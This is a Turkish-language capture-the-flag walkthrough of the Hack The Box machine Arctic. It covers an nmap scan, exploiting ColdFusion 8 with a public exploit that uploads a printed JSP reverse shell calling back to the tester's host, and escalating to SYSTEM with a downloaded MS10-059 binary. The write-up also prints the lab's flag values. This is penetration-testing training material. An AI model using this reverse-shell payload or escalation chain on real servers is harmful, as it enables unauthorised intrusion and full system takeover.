| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Arctic - HTB | Kolay | Windows |  |
Walkthrough
Nmap taraması ile başlayalım.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-30 10:50 EDT
Nmap scan report for 10.10.10.11
Host is up (0.11s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 113.67 ms 10.10.14.1
2 114.05 ms 10.10.10.11
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 295.43 seconds
Keşif esnasında 8500 da bir web servis olduğunu anladım ve http://10.10.10.11:8500/CFIDE/administrator/ adresini buldum. Burada Adobe ColdFusion 8 yüklüydü ve public exploit aramaya başladım.
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# searchsploit Adobe ColdFusion 8
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Adobe ColdFusion - 'probe.cfm' Cross-Site Scripting | cfm/webapps/36067.txt
Adobe ColdFusion - Directory Traversal | multiple/remote/14641.py
Adobe ColdFusion - Directory Traversal (Metasploit) | multiple/remote/16985.rb
Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution | windows/remote/43993.py
Adobe ColdFusion 2018 - Arbitrary File Upload | multiple/webapps/45979.txt
Adobe ColdFusion 8 - Remote Command Execution (RCE) | cfm/webapps/50057.py
Adobe ColdFusion 9 - Administrative Authentication Bypass | windows/webapps/27755.txt
Adobe ColdFusion < 11 Update 10 - XML External Entity Injection | multiple/webapps/40346.py
Adobe ColdFusion Server 8.0.1 - '/administrator/enter.cfm' Query String Cross-Site Scripting | cfm/webapps/33170.txt
Adobe ColdFusion Server 8.0.1 - '/wizards/common/_authenticatewizarduser.cfm' Query String Cross-Site Scripting | cfm/webapps/33167.txt
Adobe ColdFusion Server 8.0.1 - '/wizards/common/_logintowizard.cfm' Query String Cross-Site Scripting | cfm/webapps/33169.txt
Adobe ColdFusion Server 8.0.1 - 'administrator/logviewer/searchlog.cfm?startRow' Cross-Site Scripting | cfm/webapps/33168.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# searchsploit -m cfm/webapps/50057.py
Exploit: Adobe ColdFusion 8 - Remote Command Execution (RCE)
URL: https://www.exploit-db.com/exploits/50057
Path: /usr/share/exploitdb/exploits/cfm/webapps/50057.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /root/oscp/htb/Arctic/50057.py
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# mv 50057.py test.py Hızlı bir şekilde reverse aldım. Tabi ki exploiti düzenlemek gerekiyor.
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# python3 test.py
Generating a payload...
Payload size: 1497 bytes
Saved as: 5c1a50e3599744dbb93487ef66df6ca0.jsp
Priting request...
Content-type: multipart/form-data; boundary=0ab4521095f64da49aee949fadb8a194
Content-length: 1698
--0ab4521095f64da49aee949fadb8a194
Content-Disposition: form-data; name="newfile"; filename="5c1a50e3599744dbb93487ef66df6ca0.txt"
Content-Type: text/plain
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream hh;
OutputStream gm;
StreamConnector( InputStream hh, OutputStream gm )
{
this.hh = hh;
this.gm = gm;
}
public void run()
{
BufferedReader bw = null;
BufferedWriter seb = null;
try
{
bw = new BufferedReader( new InputStreamReader( this.hh ) );
seb = new BufferedWriter( new OutputStreamWriter( this.gm ) );
char buffer[] = new char[8192];
int length;
while( ( length = bw.read( buffer, 0, buffer.length ) ) > 0 )
{
seb.write( buffer, 0, length );
seb.flush();
}
} catch( Exception e ){}
try
{
if( bw != null )
bw.close();
if( seb != null )
seb.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "10.10.14.13", 4444 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
--0ab4521095f64da49aee949fadb8a194--
Sending request and printing response...
<script type="text/javascript">
window.parent.OnUploadCompleted( 0, "/userfiles/file/5c1a50e3599744dbb93487ef66df6ca0.jsp/5c1a50e3599744dbb93487ef66df6ca0.txt", "5c1a50e3599744dbb93487ef66df6ca0.txt", "0" );
</script>
Printing some information for debugging...
lhost: 10.10.14.13
lport: 4444
rhost: 10.10.10.11
rport: 8500
payload: 5c1a50e3599744dbb93487ef66df6ca0.jsp
Deleting the payload...
Listening for connection...
Executing the payload...
listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.11] 49199
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\ColdFusion8\runtime\bin>İlf flagi okudum.
C:\ColdFusion8\runtime\bin>whoami
whoami
arctic\tolis
C:\ColdFusion8\runtime\bin>cd C:\
cd C:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is F88F-4EA5
Directory of C:\
22/03/2017 09:35 �� 381.971.784 coldfusion-801-win64.exe
22/03/2017 09:55 �� <DIR> ColdFusion8
22/03/2017 01:45 �� 454.528.976 ColdFusion_9_WWE_win64.exe
07/11/2007 09:00 �� 17.734 eula.1028.txt
07/11/2007 09:00 �� 17.734 eula.1031.txt
07/11/2007 09:00 �� 10.134 eula.1033.txt
07/11/2007 09:00 �� 17.734 eula.1036.txt
07/11/2007 09:00 �� 17.734 eula.1040.txt
07/11/2007 09:00 �� 118 eula.1041.txt
07/11/2007 09:00 �� 17.734 eula.1042.txt
07/11/2007 09:00 �� 17.734 eula.2052.txt
07/11/2007 09:00 �� 17.734 eula.3082.txt
07/11/2007 09:00 �� 1.110 globdata.ini
07/11/2007 09:44 �� 855.040 install.exe
07/11/2007 09:00 �� 843 install.ini
07/11/2007 09:44 �� 75.280 install.res.1028.dll
07/11/2007 09:44 �� 95.248 install.res.1031.dll
07/11/2007 09:44 �� 90.128 install.res.1033.dll
07/11/2007 09:44 �� 96.272 install.res.1036.dll
07/11/2007 09:44 �� 94.224 install.res.1040.dll
07/11/2007 09:44 �� 80.400 install.res.1041.dll
07/11/2007 09:44 �� 78.864 install.res.1042.dll
07/11/2007 09:44 �� 74.768 install.res.2052.dll
07/11/2007 09:44 �� 95.248 install.res.3082.dll
14/07/2009 06:20 �� <DIR> PerfLogs
26/12/2017 01:13 �� <DIR> Program Files
14/07/2009 08:06 �� <DIR> Program Files (x86)
22/03/2017 10:00 �� <DIR> Users
07/11/2007 09:00 �� 5.686 vcredist.bmp
07/11/2007 09:50 �� 1.927.956 VC_RED.cab
07/11/2007 09:53 �� 242.176 VC_RED.MSI
09/04/2017 09:08 �� <DIR> Windows
26 File(s) 840.448.393 bytes
6 Dir(s) 33.194.209.280 bytes free
C:\>cd Users
cd Users
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is F88F-4EA5
Directory of C:\Users
22/03/2017 10:00 �� <DIR> .
22/03/2017 10:00 �� <DIR> ..
22/03/2017 09:10 �� <DIR> Administrator
14/07/2009 07:57 �� <DIR> Public
22/03/2017 10:00 �� <DIR> tolis
0 File(s) 0 bytes
5 Dir(s) 33.194.209.280 bytes free
C:\Users>cd tolis
cd tolis
C:\Users\tolis>cd Desktop
cd Desktop
C:\Users\tolis\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is F88F-4EA5
Directory of C:\Users\tolis\Desktop
22/03/2017 10:00 �� <DIR> .
22/03/2017 10:00 �� <DIR> ..
22/03/2017 10:01 �� 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 33.194.209.280 bytes free
C:\Users\tolis\Desktop>type user.txt
type user.txt
02650d3a69a70780c302e146a6cb96f3
C:\Users\tolis\Desktop>
Windows exploit suggester çalıştırdım ve güncel zafiyetlerden yararlandım.
C:\ColdFusion8\runtime\bin>cmd.exe /c systeminfo
cmd.exe /c systeminfo
Host Name: ARCTIC
OS Name: Microsoft Windows Server 2008 R2 Standard
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-507-9857321-84451
Original Install Date: 22/3/2017, 11:09:45 ��
System Boot Time: 1/8/2021, 12:40:26 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
[02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 1.023 MB
Available Physical Memory: 277 MB
Virtual Memory: Max Size: 2.047 MB
Virtual Memory: Available: 1.222 MB
Virtual Memory: In Use: 825 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.11
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# python2 /root/tool/Windows-Exploit-Suggester/windows-exploit-suggester.py -i systeminfo -d /root/tool/Windows-Exploit-Suggester/2021-07-28-mssb.xls | tee windows-exploit-suggester
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*]
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# cat windows-exploit-suggester | grep Privilege
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
Sırayla exploitleri denemeye başladım. En son aşağıdaki exploit başarılı oldu.
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS10-059/MS10-059.exe
--2021-07-30 10:47:46-- https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS10-059/MS10-059.exe
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/MS10-059/MS10-059.exe [following]
--2021-07-30 10:47:47-- https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/MS10-059/MS10-059.exe
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 784384 (766K) [application/octet-stream]
Saving to: ‘MS10-059.exe’
MS10-059.exe 100%[=========================================================================================================================================>] 766.00K 248KB/s in 3.1s
2021-07-30 10:47:51 (248 KB/s) - ‘MS10-059.exe’ saved [784384/784384]
C:\Temp>whoami
whoami
arctic\tolis
C:\Temp>copy \\10.10.14.13\KUDAY\MS10-059.exe .
copy \\10.10.14.13\KUDAY\MS10-059.exe .
1 file(s) copied.
C:\Temp>MS10-059.exe
MS10-059.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
C:\Temp>MS10-059.exe 10.10.14.13 80
MS10-059.exe 10.10.14.13 80
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>
C:\Temp>
┌──(root💀kali)-[~/oscp/htb/Arctic]
└─# nc -lvp 80
listening on [any] 80 ...
whoami
10.10.10.11: inverse host lookup failed: Unknown host
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.11] 49478
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is F88F-4EA5
Directory of C:\Users\Administrator\Desktop
22/03/2017 10:02 �� <DIR> .
22/03/2017 10:02 �� <DIR> ..
22/03/2017 10:02 �� 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 33.192.198.144 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
ce65ceee66b2b5ebaff07e50508ffb90
İlk Yorumu Siz Yapın